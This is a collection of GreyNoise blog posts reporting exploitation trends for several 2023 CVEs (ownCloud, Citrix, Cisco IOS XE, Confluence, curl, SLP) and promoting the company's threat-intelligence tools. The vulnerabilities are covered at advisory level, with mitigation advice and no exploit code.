Thank you! Your submission has been received!
Oops! Something went wrong while submitting the form.

CVE-2023-49103: ownCloud Critical Vulnerability Quickly Exploited in the Wild

2023-11-30 UPDATE

Ron Bowes of the GreyNoise Labs team has made some updates to the deep dive into this critical vulnerability in ownCloud’s Graph API.

2023-11-29 UPDATE

Ron Bowes of the GreyNoise Labs team has put together a deep dive into this critical vulnerability in ownCloud’s Graph API. Ron discusses the exploit, its impact on Docker installations, and our comprehensive testing process, here at GreyNoise.

2023-11-27 ORIGINAL POST

On November 21, 2023, ownCloud publicly disclosed a critical vulnerability with a CVSS severity rating of 10 out of 10. This vulnerability, tracked as CVE-2023-49103, affects the "graphapi" app used in ownCloud. 

ownCloud is a file server and collaboration platform that enables secure storage, sharing, and synchronization of commonly sensitive files.

The vulnerability allows attackers to access admin passwords, mail server credentials, and license keys. 

GreyNoise has observed mass exploitation of this vulnerability in the wild as early as November 25, 2023.

The vulnerability arises from a flaw in the "graphapi" app, present in ownCloud versions 0.2.0 to 0.3.0. This app utilizes a third-party library that will reveal sensitive PHP environment configurations, including passwords and keys. Disabling the app does not entirely resolve the issue, and even non-containerized ownCloud instances are at risk. Docker containers before February 2023 are not affected. 

Mitigation information listed in the vendor's disclosure includes manual efforts such as deleting a directory and changing any secrets that may have been accessed.

In addition to CVE-2023-49103, ownCloud has also disclosed other critical vulnerabilities, including an authentication bypass flaw (CVE-2023-49105) and a critical flaw related to the oauth2 app (CVE-2023-49104). 

Organizations using ownCloud should address these vulnerabilities immediately. 

Elevating Threat Intelligence with GreyNoise and Microsoft Sentinel

GreyNoise has recently released a new integration for Microsoft Sentinel, enhancing the capabilities of threat intelligence for business security. This integration provides security professionals with valuable insights into internet-wide scanning and reconnaissance activities. Tailored to offer a streamlined feed of threat indicators, it enables proactive threat identification and mitigation. Users can now leverage GreyNoise data within their threat-hunting queries and any analytics rules.

GreyNoise indicators in Microsoft Sentinel

One of the most exciting aspects of our new integration is the seamless combination of GreyNoise’s data with Sentinel’s threat-hunting capabilities. Analysts now have a unique, robust ability to utilize GreyNoise data when investigating potential malicious patterns and anomalies within their network events. The integration also allows filtering out known opportunistic traffic during threat hunting to identify more targeted and malicious activity better. 

Modified threat-hunting queries to filter out indicators from GreyNoise

To further enhance detection capabilities, the new content pack also introduces a set of analytics rules designed to identify and mitigate potential threats. By incorporating these indicators into analytics rules, security teams can take a more proactive approach to identifying known malicious behavior. By taking this approach, detections are elevated, and organizations can stay ahead of malicious actors that are commonly looking for exposed, vulnerable devices and misconfigured applications. 

In conclusion, integrating GreyNoise with Microsoft Sentinel offers a strategic advantage in navigating the cybersecurity landscape. By combining indicators from GreyNoise with analytics rules, hunting queries, and existing automation workflows, analysts now wield an indispensable toolkit to combat evolving threats proactively.

Explore the latest content pack available on the Azure marketplace to start ingesting GreyNoise indicators into Microsoft’s Sentinel’s threat intelligence platform. You' will need a current GreyNoise trial or Enterprise license to access the GNQL API endpoint for data ingestion.  If you do not have access to either, contact us for more information and to get started.

Getting A Leg Up On Initial Access Ransomware With CISA KEV and GreyNoise Tags

The Cybersecurity and Infrastructure Security Agency (CISA) has added a field to their Known Exploited Vulnerabilities (KEV) catalog that denotes if a KEV CVE has been used in ransomware attacks. Over two hundred KEV CVEs fall into this category, 75 of which (~35%) have corresponding GreyNoise tags. GreyNoise's planetary fleet of sensors are designed to catch remote Initial Access attacks, and most ransomware exploits in KEV fall outside this category.

The addition of this ransomware designation has proven to be valuable for defenders. It provides a critical data point that may help them gain traction for interrupting normal operations so that teams can focus on patching and applying mitigations to prevent a potentially devastating incident from occurring.

As the chart below shows, GreyNoise meets or beats KEV when it comes to having detections and actionable intelligence available after a CVE has been published. Since many ransomware gangs hide their activities in the same compromised devices that GreyNoise tracks daily, this gives organizations that use GreyNoise IP intelligence block lists a significant advantage over those that do not. You can effectively negate the onslaught of the majority of opportunistic ransomware attacks and campaigns of initial access brokers by using the hourly updated telemetry provided by the GreyNoise platform.

Extending Your Lead

To stay even further ahead of our combined adversaries, GreyNoise account holders can join in the fight by sifting through the novel daily clusters of malicious events that assault our fleet every minute of each day.

We’ve talked about Sift before, and the GreyNoise Labs and Design teams recently enhanced the user experience, streamlining the user interface and integrating more tools to make it easier to spot potentially new and malicious traffic.

Know. More. Noise

Not a GreyNoise customer — yet? See how much time GreyNoise may be able to save your organization, and how many hours your defenders can save with our ROI calculator.

Sign up and take our platform for a free enterprise trial to see all the features and data available.

SLP Sliding Away With Reflection Amplification Thanks To CVE-2023-29552

CVE-2023-29552 is a high-severity vulnerability discovered in the Service Location Protocol (SLP), a legacy Internet protocol. This vulnerability allows an unauthenticated, remote attacker to register arbitrary services, enabling them to launch a Denial-of-Service (DoS) attack via a reflection amplification attack. BitSight first alerted the world to this weakness back in May.

GreyNoise has a new tag that identifies sources scanning for internet accessible endpoints exposing the Service Location Protocol. As of this blog post, all the activity is benign, and, is primarily coming from both Censys and ONYPHE.

Impact Assessment

The potential harm from this vulnerability is significant.Successful exploitation could potentially allow an attacker to launch one of the most powerful DoS amplification attacks in history, with an amplification factor as high as 2,200 times. This means that an attacker could send a small amount of traffic to a vulnerable SLP instance, which would then respond with a much larger amount of traffic to the victim's server. This could overwhelm the server, causing it to become unresponsive and disrupting the services it provides.

BitSight has noted that vulnerability affects more than 2,000 global organizations and over 54,000 SLP instances accessible via the internet, including VMWare ESXi Hypervisor, Konica Minolta printers, Planex Routers, IBM Integrated Management Module (IMM), SMC IPMI, and 665 other product types. This wide impact means that a large number of systems and services could potentially be disrupted by an attack exploiting this vulnerability.

DHS CISA added CVE-2023-29552 to their catalog of known exploited vulnerabilities on November 8, 2023. This means that the signs and portents foretold by BitSight have, indeed, come to pass.

The potential harms from this vulnerability are not limited to service disruption. DoS attacks can also lead to financial losses, especially for organizations that rely on web-based transactions. For instance, an online retailer could lose sales if their website becomes unavailable due to a DoS attack; or, financial services firms may be unable to process customer orb2b transactions. Furthermore, the recovery from such an attack could require significant resources, further increasing the financial impact.

Given the severity and potential impacts of this vulnerability, it's crucial for organizations to take steps to mitigate it.This could include upgrading to a release line that is not impacted by the vulnerability, or implementing other appropriate security measures to safeguard their networks and servers.

For Your Consideration

Folks may remember the recent HTTP/2 Rapid Reset vulnerability announced by Cloudflare. It was a zero-day vulnerability that exploited a weakness in the HTTP/2 protocol to generate massive Distributed Denial of Service (DDoS) attacks. The vulnerability, CVE-2023-44487, takes advantage of the ability of HTTP/2 to allow for multiple distinct logical connections to be multiplexed over a single HTTP session, with the rapid reset attack consisting of multiple HTTP/2 connections with requests and resets in rapid succession.

While both the Rapid Reset vulnerability and this new SLP vulnerability can lead to large-scale DDoS attacks, they exploit different protocols and mechanisms. The HTTP/2 Rapid Reset vulnerability exploits a feature in the HTTP/2 protocol to generate massive DDoS attacks, while the SLP amplification attack vector leverages the SLP protocol to amplify the volume of DDoS attacks.

We're Here To Help

GreyNoise customers can use our hourly updated blocklists for the SLP tag (compatible with Palo Alto, Cisco, Fortinet, and other next-gen firewalls) to gain proactive protection from non-benign sources looking for potential system with SLP exposed.

Unveiling the Deceptive World: Honeypots vs Honeytokens

At GreyNoise, when we talk about honeypots, we sometimes get questions about honeytokens and how they differ. This may come from some of the great contributors to this space, making things like honeytokens widely available to experiment with (yay!). Setting up and deploying realistic and diversified honeypots is trickier, but there are still great contributors in closed and open-source projects.

Despite each's similar purpose of early threat detection, honeypots and honeytokens vastly differ in deployment, interaction, and scope. Let's delve into the various aspects contributing to the misunderstanding and clarify the distinctive features of each.

The Origin: First Generation Honeypots & Honeytokens

The concept of a honeypot as a security tool emerged in the early 1990s. Initially, honeypots were used mainly for detecting attackers in networks. The first honeypots were simple to fingerprint as they were fundamentally traps that were easy for experienced hackers to recognize and avoid.

In 1998, Fred Cohen, a renowned computer scientist credited with introducing the term "computer virus," developed and released the Deception Toolkit. This was a basic honeypot tool designed to mimic vulnerabilities, giving the appearance of a vulnerable system.

The term "honeytoken'' originated from a mailing list in 2003 and is credited to Augusto Paes de Barros. In a discourse with Lance Spitzner, founder of the Honeynet project, Paes de Barros discussed the possibility of expanding detection to articles such as accounts, documents, info, etc.


Now let’s take a look at a little more about each individually.

Exploring the Facets of Honeypots:

1. Definition and Purpose:

What is a Honeypot? A honeypot is a security tool designed to mimic vulnerable systems with the intent to attract attackers. The goal is to analyze attacker activities and methodologies, which can include things like identifying if critical vulnerabilities are currently being exploited in the wild.

2. Deployment and Interaction:

Emulation and Monitoring: Honeypots are deployed as bogus systems or networks, luring attackers into a controlled environment where their actions are monitored, providing deep insights into their strategies and tactics.

3. Scope:

Network-Centric: Honeypots, focusing predominantly on network or system levels, adeptly detect diverse attacks, including unauthorized access and exploitation.

Deciphering the Role of Honeytokens:

1. Definition and Purpose:

What is a Honeytoken? A honeytoken is a decoy entity seamlessly blended into a system or data. Any interaction with a honeytoken is a clear indication of unauthorized access, promptly alerting organizations to potential breaches. It can be as simple as phony credentials to deceptive database entries. Various forms of honeytokens fortify systems against unauthorized infiltrations.

2. Deployment and Interaction:

Seamless Integration and Alert: Honeytokens, embedded within data or systems, act as silent sentinels, triggering alerts upon unauthorized access, without any interaction with the attacker.

3. Scope:

Data-Centric: Positioned at the data or information level, honeytokens adeptly detect illicit data access and insider threats.

Honeypots vs Honeytokens: A Comparative Glance:

Diverse in Deployment and Interaction:

While honeypots provide a more robust surface for attackers to interface with, thus providing extensive insights into attacker strategies, honeytokens silently monitor and alert organizations to unauthorized data interactions.

Varied in Scope:

Honeypots primarily emphasize network or system-level security, whereas honeytokens accentuate data-level protection, guarding against unauthorized access and breaches.

In Conclusion: The Convergence of Complementary Techniques:

In the mosaic of cybersecurity, honeypots, and honeytokens emerge as complementary, not competing, technologies. Honeypots, with their interactive and comprehensive insight into attacker behavior, coupled with the silent and alert-focused honeytokens, create a robust, multi-layered defense strategy. Organizations leveraging both are poised to significantly enhance their cybersecurity posture, staying ahead in the perpetual battle against cyber adversaries.

The intertwined utilization of honeypots and honeytokens reflects the evolving dynamism and complexity of cybersecurity, reinforcing the need for diverse, innovative, and integrated defense strategies to navigate the challenging cyber terrain effectively.

Want to learn more? Sign up for a free GreyNoise account to explore real data captured across our extensive network of honeypots.

Quickly Triaging HTTP Traffic From GreyNoise’s New Hosted Sensors

Our new hosted sensor fleet is cranking out PCAPs for those lucky folks who made it into the first round of our Early Access Program. These sensors enable you to give up a precious, internet-facing IPv4 address and have it automgically wired up to your choice of persona. These personas can be anything from a Cisco device, to a camera, and anything in between.

While there’s a fancy “PCAP analyzer” feature “coming soon” to the GN Visualizer and API, I’ve been mostly using a sensor that’s tucked away in a fairly quiescent part of the internet to quickly triage HTTP requests to see if we can bulk up our Tag (i.e., an attack/activity detection rule) corpus with things we may have missed in the sea of traffic we collect, tag, and triage every day.

Sure, Sift helps quite a bit with identifying truly horrific things, but occasionally a quick human pass at HTTP paths, headers, and POST bodies will either identify something we may have previously missed, or cause us to think a bit differently and start identifying more of the noise. This is how our recent “security.txt scanner 🏷️” and robots.txt scanner 🏷️ were birthed.

We've posted a detailed write-up on one way to do this over on the GreyNoise Labs Grimoire. Check it out and share your analyses or alternate ways you processes thse PCAPs in the Community Slack!

CVE-2023-4966 Helps Usher In A Baker’s Dozen Of Citrix Tags To Further Help Organizations Mitigate Harm

Citrix's NetScaler ADC and NetScaler Gateway have, once more, been found to have multiple vulnerabilities, tracked as CVE-2023-4966 and CVE-2023-4967

On October 23, 2023, GreyNoise Detection Engineers added tag coverage for CVE-2023-4966, which is an information disclosure vulnerability in NetScaler ADC and NetScaler Gateway. When configured as a gateway (VPN virtual server, ICA Proxy, CVPN, RDP Proxy) or as an AAA virtual server, an unauthenticated attacker could exploit the device in order to hijack an existing authenticated session. Depending on the permissions of the account they have hijacked, this could allow the attacker to gain additional access within a target environment and collect other account credentials. 

CVE-2023-4967 is a denial-of-service (DoS) vulnerability that can potentially enable DoS attacks on vulnerable devices. 

Both CVEs were published on October 10, 2023, and the tag for CVE-2023-4966 joins 11 other Citrix-specific tags in the GreyNoise tag corpus.

The GreyNoise Storm⚡Watch webcast/podcast provided extensive coverage of this vulnerability in this week’s episode.

Widespread Attacks

As of this post’s publish time, GreyNoise has observed just under seventy IP addresses attempting to exploit this vulnerability: 

Activity started on the 24th and shows no signs of stopping.

Mitigating Harm

Citrix has urged customers to install updated versions of the affected devices as soon as possible. The recommended versions to upgrade to are NetScaler ADC and NetScaler Gateway 14.1-8.50 and later, NetScaler ADC and NetScaler Gateway 13.1-49.15 and later releases of 13.1, NetScaler ADC and NetScaler Gateway 13.0-92.19 and later releases of 13.0, NetScaler ADC 13.1-FIPS 13.1-37.164 and later releases of 13.1-FIPS, NetScaler ADC 12.1-FIPS 12.1-55.300 and later releases of 12.1-FIPS, and NetScaler ADC 12.1-NDcPP 12.1-55.300 and later releases of 12.1-NDcPP.

Citrix has provided no mitigation tips or workarounds at this time. Organizations are urged to patch immediately. The Cybersecurity and Infrastructure Security Agency (CISA) has added an entry for CVE-2023-4966 to its Known Exploited and Vulnerabilities Catalog, which contains detection and mitigation guidance for observed exploitations of CVE-2023-4966 by threat actors against NetScaler ADC and NetScaler Gateway.

Remote access technologies are prime targets for attackers, especially when proof-of-concept code becomes available. GreyNoise Detection Engineers work with research partners, and conducts bespoke vulnerability research to provide timely access to real-time intelligence that can help your organization buy time to patch, remove the noise of opportunistic attackers, and give you the opportunity to focus on fending off targeted attacks.

Unpacking CVE-2023-20198: A Critical Weakness In Cisco IOS XE:

Oct 20 Update

Cisco Talos has updated their advisory to include a new CVE, CVE-2023-20273, "that is exploited to deploy the implant" with a fix estimated to be released on October 22nd.  The Cisco Security Advisory was also updated to include the new CVE, information about observed attacks, mitigation, and Snort rule IDs.

We have also updated our illustration (below) to include the new CVE.

Original Post

On October 16th, 2023, Cisco disclosed a critical software Web UI Privilege Escalation Vulnerability under the identifier CVE-2023-20198 with a CVSS base score of 10. Cisco notes that the vulnerability has been exploited in the wild. The vulnerability allows an unauthenticated attacker to create an account with “privilege level 15 access” (full access to all commands). There is no patch for the privilege escalation vulnerability at the time of writing.

Initial Disclosure

In coordination with this disclosure, Cisco Talos published a threat advisory noting that the privilege escalation vulnerability CVE-2023-20198 is leveraged for initial access. Following this activity, an implant is delivered through a “yet undetermined mechanism” for which no patch is available.

“Leveraging existing detections, we observed the actor exploiting CVE-2021-1435, for which Cisco provided a patch in 2021, to install the implant after gaining access to the device. We have also seen devices fully patched against CVE-2021-1435 getting the implant successfully installed through an as-of-yet undetermined mechanism.”

Later in the threat advisory, the Snort intrusion detection system rule ID 3:50118:2 is called out as a way to address “this” threat.

The Snort rule 3:50118:2 "SERVER-WEBAPP Cisco IOS XE Web UI command injection attempt” does not include any mention that it detects CVE-2021-1435. In the rule’s references section, CVE-2019-12650 and CVE-2019-1862 — both command injection vulnerabilities — are mentioned via the following links:

Though not explicitly called out as part of the Snort rule, CVE-2021-1435 is also a command injection vulnerability.

If Snort rule 3:50118:2 detects the command injection vulnerabilities (CVE-2019-1862 / CVE-2019-12650 / CVE-2021-1435?) and the malicious implant in this recent string of attacks is installed through a “yet undetermined mechanism” on systems that are fully patched against CVE-2021-1435, then the vulnerability being leveraged to install the implant is not CVE-2021-1435.  Additionally, a patch is available for CVE-2021-1435 whereas a patch is not available for the mechanism used to install the implant.

Surveying The Carnage

Further research by VulnCheck has demonstrated that systems affected by the malicious implants can be coerced to disclose their 18-character hexadecimal unique implant identifier.

Cisco buried the lede by not mentioning thousands of internet-facing IOS XE systems have been implanted. VulnCheck scanned internet-facing Cisco IOS XE web interfaces and found thousands of implanted hosts. This is a bad situation, as privileged access on the IOS XE likely allows attackers to monitor network traffic, pivot into protected networks, and perform any number of man-in-the-middle attacks.

Censys also configured a scan profile and published their results in a blog post. It’s not a pretty picture. Over 40K Cisco IOS devices had their web admin interfaces exposed to the internet and fell victim to the latest round of implant attacks.

More distressing is that some of these devices are being used to launch further attacks. Researchers from both VulnCheck and Censys were kind enough to run their results through the GreyNoise Analyzer, which enables bulk triage of IP lists. Over 120 devices have been put into malicious service by attackers and live in diverse autonomous systems:

Organization Count
Akamai Technologies 23
Google APIs and Services 23
Verizon Business 11
NTT Communications Corporation 3
Cogent Communications 2
Mobile Telecommunications Company 2
Reliance Jio Infocomm Limited 2
Suburban Broadband Ltd 2
"ElCat" Ltd. 1
aamra networks limited, 1
Bangladesh Telecommunications Company Limited (BTCL), Nationwide PSTN Operator and Data and Internet Service Provider. 1
Bell Canada 1
Bhutan Telecom Ltd 1
Cloud 9 Ltd. 1
Comcast Cable Communications, LLC 1
Data Communication Business Group 1
Emirates Integrated Telecommunications Company PJSC 1
Euroweb Romania S.R.L. 1
Exetel Pty Ltd 1
Frontier Communications of America, Inc. 1
INDOSAT Internet Network Provider 1
Jamii Telecommunications Limited 1
JSC Avantel 1
JSC Comcor 1
Kenyan Post & Telecommunications Company / Telkom Kenya Ltd 1
Level 3 Parent, LLC 1
Liquid Telecommunications Ltd 1
M247 UK Ltd 1
Mobile Telecommunication Company Saudi Arabia Joint-Stock company 1
Núcleo S.A. 1
Omani Qatari Telecommunication Company SAOC 1
Philippine Long Distance Telephone Company 1
PJSC Rostelecom 1
PT. Power Telecom Indonesia 1
Saudi Telecom Company JSC 1
Simbanet (T) Limited 1
SONATEL-AS Autonomous System 1
Superonline Iletisim Hizmetleri A.S. 1
Telecel S.A. 1
Telmex Colombia S.A. 1
The Communication Authoity of Thailand, CAT 1
Univision LLC 1
VNPT Corp 1
Vodafone Romania S.A. 1

Unsurprisingly, we’re also seeing a large uptick in scanning from malicious, benign, and “unknown” sources in our Cisco IOS XE CVE-2023-20198 Scanner tag: 

Im-persistent Harms

A key aspect of the current, underlying implant is that it does not survive a reboot. That means attackers will need to reinfect devices in their control if power is cycled or if they perform regular maintenance that requires a reboot… unless they have created a persistent access method prior to the reboot such as a newly created account. Given that these Cisco appliances are (small) business-class devices, they are more likely to have static IP addresses, meaning that attackers won’t have to re-scan the entire internet nearly as often as they might otherwise to identify and re-infect them.

The Enemy Within

Censys, VulnCheck, and GreyNoise can only report the view from the outside. However, similar Cisco IOS devices are also used internally in many organizations and are equally susceptible to this vulnerability. After gaining initial access on a low-privileged endpoint, attackers will no doubt be probing for vulnerable Cisco devices internally, where it is even more likely the web admin UI will be enabled. Having such privileged access to an internal router/network may be even more valuable/desirable than internet-facing ones.

Staying Safe

Researchers from GreyNoise Labs strongly encourage organizations to disable the HTTP Server feature on all internet-facing systems until a patch is available (and consider leaving it disabled permanently). This can be done by following the instructions provided in the Cisco security advisory.

Given the transient nature of the implant, they also suggest conducting an incident response exercise to determine if any internet-facing (or internal) Cisco device was demonstrating anomalous behavior.

Remember, you can:

  • use our Analyzer for IP triage
  • block non-benign scanners — through our dynamic, timely block lists — searching for signs of implants
  • monitor our CVE-2023-20198 scanner tag to keep up with external actor activity (manually or via an Alert)
  • take advantage of that same Alert capability to monitor your IP address space to determine if attackers are using it for malicious purposes.

GreyNoise Labs will continue monitoring this situation and providing updates as needed.

Precursor: A Quantum Leap in Arbitrary Payload Similarity Analysis

Precursor: A Quantum Leap in Arbitrary Payload Similarity Analysis

In both general “data science” and, especially, in many cybersecurity contexts, the ability to identify and analyze similarities in data is crucial. Matt Lehman, from the GreyNoise Labs research team, has a new, deep-dive blog post introducing a new tool — Precursor — which promises to revolutionize how we approach this task. It is designed to label and find similarities in text, hex, or base64 encoded data and is a product of extensive research and development.

Precursor supports arbitrary similarity algorithms that generate a digest and support distance calculations, such as MRSHv2 and SSDEEP. It also provides a generic similarity vector output that machine learning processes can ingest. Precursor’s binary input mode for firmware/malware analysis can automate including the protocol indicators from existing libraries into PCRE2 patterns where applicable. The tool also supports a training mode where it can automatically configure the optimal similarity algorithm and distance thresholds. 

Potential other use-cases include:

Threat Intelligence and Attribution: Precursor can be used to analyze network traffic and identify patterns that indicate a potential threat. For instance, it can help in identifying regionally targeted cyberattacks by analyzing the nature of the traffic targeting a specific region. This was demonstrated when GreyNoise used Precursor to analyze a cyberattack targeting Israel.

Malware Analysis and Detection: Precursor's ability to support arbitrary similarity algorithms can be used to detect malware. By comparing a suspicious file to a database of known malware signatures, Precursor can help identify whether the file is malicious. It can aid in detecting command and control (C2) communications often used by malware.

Network Traffic Analysis: Precursor can be used to analyze network traffic and identify patterns or anomalies that may indicate a security threat. For instance, it can help in identifying scanning and enumeration activities typically associated with the reconnaissance phase of a cyberattack.

Stay tuned as we delve deeper into the workings of Precursor, its potential applications, and the insights it has helped us uncover. Whether you're a cybersecurity professional, a data scientist, or simply a tech enthusiast, this tool is set to bring a new level of sophistication to your work.

CVE-2023-38545: So you cURL, but will you cIRL?

On October 11th, 2023, a heap-based buffer overflow in curl was disclosed under the identifier CVE-2023-38545. The vulnerability affects libcurl 7.69.0 to and including 8.3.0. Vulnerable versions of libcurl may be embedded in existing applications. However, to reach the vulnerable code path, the application must be configured to utilize one of the SOCKS5 proxy modes and attempt to resolve a hostname with extraneous length.

In a controlled environment, reproducing the bug itself is trivial. Pictured below is a vulnerable version of curl requesting a hostname consisting of 10,000 A’s through a configured SOCKS5 proxy, resulting in memory corruption leading to a Segmentation fault.


In practice, the scope of the vulnerability is more nuanced. As noted above, curl must be configured to utilize a SOCK5 proxy to reach the vulnerable code path. If you run an application utilizing a vulnerable version of curl/libcurl that makes HTTP requests and an attacker can set the “http_proxy” environment variable, curl may automatically inherit that configuration, allowing the vulnerable code path to be reached (pictured below). Of course, this assumes that the attacker already has some level of privileged access to set these environment variables. At such a point that an attacker already has privileged access, leveraging this curl vulnerability is certainly not the easiest path to remote code execution.


Through the lens of “exploit-ability” in practical deployments of curl, few could be remotely triggered. After significant research, the GreyNoise Labs team was able to identify one such configuration scenario that we would be able to track and have created a tag for detecting it. In the unlikely event that more vulnerable-in-practice applications come to light in the coming days, the tag will be updated to capture the associated traffic.

CVE-2023-22515: Critical Privilege Escalation Vulnerability in Atlassian's Confluence

A critical zero-day vulnerability has recently been discovered in the Confluence Data Center and Server.

The vulnerability, known as CVE-2023-22515 and scored a CVSS 10 out of 10, is a privilege escalation vulnerability that allows external attackers to exploit the system and create administrator accounts that can be used to access Confluence instances. 

Atlassian, the company that produces Confluence, rates this vulnerability as 'critical' and has released patches for it. On-premise instances of Confluence on the public internet are at risk as this vulnerability is exploitable anonymously. Atlassian has stated that cloud-hosted versions of Confluence are not impacted, but it is unclear if they were vulnerable before the patch. Atlassian also has published an FAQ for this vulnerability.

We recommend immediately upgrading to the latest patched version, especially if you use an exposed or internet-facing Confluence instance. Since exploitation was observed before the advisory and patch were issued, organizations should audit user accounts and signs of compromise. As a standard practice, you should also restrict network access to any Confluence instance.

GreyNoise has published a tag monitoring for CVE-2023-22515 exploitation attempts. 

If you’re curious about viewing scanning activity related to the “/setup/setupadministrator.action” web path, you can view that here; and if you’re curious about IPs that are searching for any ”setup*.action” web paths, you can view that here.

Introducing Sift: Automated Threat Hunting


GreyNoise is exposing a new internally developed tool, Sift, to the public for the first time. Sift curates a report of new/interesting traffic observed by GreyNoise sensors daily after doing much of the analysis and triage work itself. Check it out at 

Note that it is a new and experimental feature and will probably have some bugs and change without warning. We will soon be integrating direct feedback capability. For now, please direct all feedback to We really want to know what you think!

Figure 1: Example Sift Report

Threat Hunter Pain

There is a lot of traffic bouncing around the internet. Full stop. GreyNoise sees ~2 million HTTP requests (along with tens of millions of events from other protocols) a day. For our on-staff Detection Engineers and your engineers and analysts facing similar loads, analyzing millions of HTTP requests can be extremely tiresome and stressful. 

It’s like looking for a needle in a haystack each day. Most of them are harmless, but some could be hiding malicious activity. It’s a tedious and time-consuming process, constantly payloads of data, and the fear of overlooking something dangerous adds a layer of stress. The task is mentally exhausting, and the perpetual strain can make it a painful experience, with the constant awareness that a single mistake could have serious consequences.

Introducing Sift

To help provide a painkiller, we’ve created Sift. Sift is a workflow that attempts to remove the noise of the background traffic and expose new and relevant traffic. Additionally, it describes the interesting traffic, tells you if it might be a threat, and prioritizes what payloads to look at first. Identification, explanation, and triage all in one tool. 

To achieve this, we employ several advanced DS/ML/AI techniques, such as:

  • custom-built LLMs (Large Language Models)
  • nearest neighbor search and vector databases
  • unsupervised clustering, prompt engineer
  • RAG (Retrieval Augmented Generation), and 
  • querying the state of the art generative models for additional analysis.

The result is a daily report of what GreyNoise sees in our vast sensor network distilled down to only the new items and with built-in analysis to give every defender an immediate look into what is really happening on the internet, no longer needing the luck of an analyst stumbling upon an attack in log traffic.

Currently, it is limited to HTTP traffic, but that won’t last long. It is an experimental feature on the bleeding edge of what is possible, so please bear with us as errors inevitably occur.

Directing Attention

As said earlier, GreyNoise sees millions of HTTP requests a day. After months of experimentation, we found several techniques to record, clean, dedupe, and convert this data into a numerical format for analysis. Applying this to our significant dataset of internet traffic, we’re able to automatically tell you what is new today vs. what we have seen in the last several weeks. This process effectively makes a noise filter for traffic.

In practice, our process takes ~2 million HTTP events down to ~50 per day that require an analyst to look at. Now, we can actually find the needles in our proverbial haystack scientifically and give our analysts a reasonable workload. This reduction in noise has dramatically improved the quantity of new Tags we can generate every week.

Explaining and Sorting

Once we’ve narrowed our focus, we can employ some of the more costly techniques of commercial large language models to help us answer specific questions about the payloads we’re considering. Without giving away all our techniques of how we accomplish it, we can generate an analysis of the payload, potential CVEs, and CPEs associated (which are more up-to-date than any language model), a score of how big of a threat it might be, what GreyNoise knows about the IPs (tags/riot/etc), a score of how confident we are, Suricata queries that might detect similar payloads, as well as keywords, techniques, and technologies affected.

In short, we’re trying to build an entire analyst report on the fly for only things you should look at. Additionally, we sort the reports, so you look at the most critical threats first.

Future Possibilities

Sift is brand new and full of possibilities. You can help flesh those out. We’re currently only exposing daily reports from the last month (excluding the previous week). 

  • Would you like to see more reports? (e.g., Back in time or up to the current date?)
  • More tailored to your organization? (We are rolling out user-hosted sensors where you can get data that a Sift report could eventually filter. More info to come soon..)

Check it out, and thank you for reading!

Welcome to GreyNoise Labs!

As autumn quickly approaches in the Northern Hemisphere, many people see this as a time to turn inward and prepare for the long winter ahead. However, this is also a time when the lush, uniform green flora around us transforms into a kaleidoscope of colors. This change helps give us all a renewed perspective on what is all around us and fuels both an appreciation for what we have and creativity for what is possible.

Today, GreyNoise is excited to officially announce the emergence of GreyNoise Labs. Keen-eyed GreyNoise users may have noticed our soft launch of this throughout 2023. Back in June, Kimber Duke announced our Labs APIs to the world. The Labs API is a powerful tool designed to provide users quick access to existing and new data we collect and process at GreyNoise via an early access/beta API experience.

Now, like the autumn leaves, we're adding even more color to the existing knowledge and insight that GreyNoise already provides, which governments, critical infrastructure, Fortune 100 enterprises, and security researchers rely on daily to help defend us all against cyberattacks.

What can you expect from GreyNoise Labs?

You already know one of our goals: to provide early access to new data, tools, and insights we're developing — things that may eventually become integrated into our core product but need testing, feedback, and real-world use.

All the teams at GreyNoise provide product, company, community, and emerging threat information via our primary communication channel. This is still the place to keep your finger on the pulse of what's happening at GreyNoise and in the internet threat landscape. If our GreyNoise blog's RSS feed still needs to be added to your favorite newsreader, we highly recommend adding it right now!

That is still the place where critical, actionable information associated with emerging threats will first be published. However, we often need to go deeper into a particular vulnerability or exploit. We also have much more to say on security research projects we're undertaking, data science initiatives we're investigating, and cutting-edge detection engineering concepts we're pioneering.

Our new Grimoire blog (Grimoire RSS) is the place for these deeper dives. We'll make sure to link to them if we have more to say about any emerging threats we direct your attention to on the core blog.

The GreyNoise Labs API is part of our internal Blueprints initiative. Our Product, Design, and Engineering teams build, maintain, and enhance resilient and robust systems/applications you rely on daily. Our Labs team is charged with developing new ways to process and present the data we collect, curate, and compute. These ideas are codified into "blueprints," which are — by definition – "something intended as a guide for making something else." These may take the form of a new Labs API or greynoiselabs command line endpoint, alternate ways to view our data, different idioms for interacting with our core services, or just ways to help you see how we think about the data we work with.

We'll also be regularly updating resources we rely on and giving folks a bit more insight into the team behind GreyNoise Labs. Curious about what we do, what we've published, or the APIs we've made available? Drop us a note at

MSSPs' Playbook for Success: Balancing Automation and Human Expertise

When it comes to threat intelligence and security operations automation, managed security service providers (MSSPs) face some pretty unique challenges. In our recent webinar, we had the pleasure of hosting two MSSP leaders, Alan Jones and Corey Bussard, who shared their own automation journey. They talked about the hurdles they encountered at the beginning, the value automation brought to the table, and how it has impacted the human element of cybersecurity. Let's dive right in.

 The Problem: Alert Overload

One of the biggest challenges is the overwhelming number of alerts generated by various security tools.  A significant portion of this alert noise originates from inadequate or improperly adjusted threat intelligence feeds. Instead of offering valuable context, many threat intel feeds end up exacerbating false positives and increasing the workload for analysts.  Because MSSPs manage a large number of clients, this challenge is amplified compared to your average company.

The Solution: Trusted Threat Intel + Automation + Human Expertise

In order to overcome the overwhelming amount of noise, these MSSPs recognized the need for improved threat intelligence sources to validate alerts, as well as workflow automation. By validating threat intelligence from trusted providers like GreyNoise, they were able to effectively reduce false positives by swiftly eliminating non-malicious alerts. The implementation of automation for these repetitive analyst tasks and interactions with security tools resulted in a significant boost in overall efficiency.

Key Learnings:

  • Leverage threat intel to validate alerts, not just enrich them. Focus on reducing noise instead of increasing it.
  • Streamline repetitive workflows and tool interactions through automation. This will free up your skilled analysts for non-routine incidents.
  • While cost savings are important, they are not the sole measure of success. It's equally important to assess improvements in the time to resolution (MTTR), capacity gains, and analyst churn.

By combining automation with high-fidelity threat intelligence, these MSSPs were able to streamline their operations and empower their analysts to focus on the most critical threats.

A big thank you goes out to Alan and Corey for graciously sharing their automation journey. They did an exceptional job of explaining the immense value of automation, as well as underscoring the crucial role that the human element plays in their success. We highly encourage you to watch the full webinar on-demand and gain valuable insights from these industry leaders.


Fast-Tracking Innovation: GreyNoise Labs Experimental CLI

Introducing the GreyNoise Labs Python CLI package: a robust toolkit for advanced users seeking to maximize the potential of our experimental Labs services.

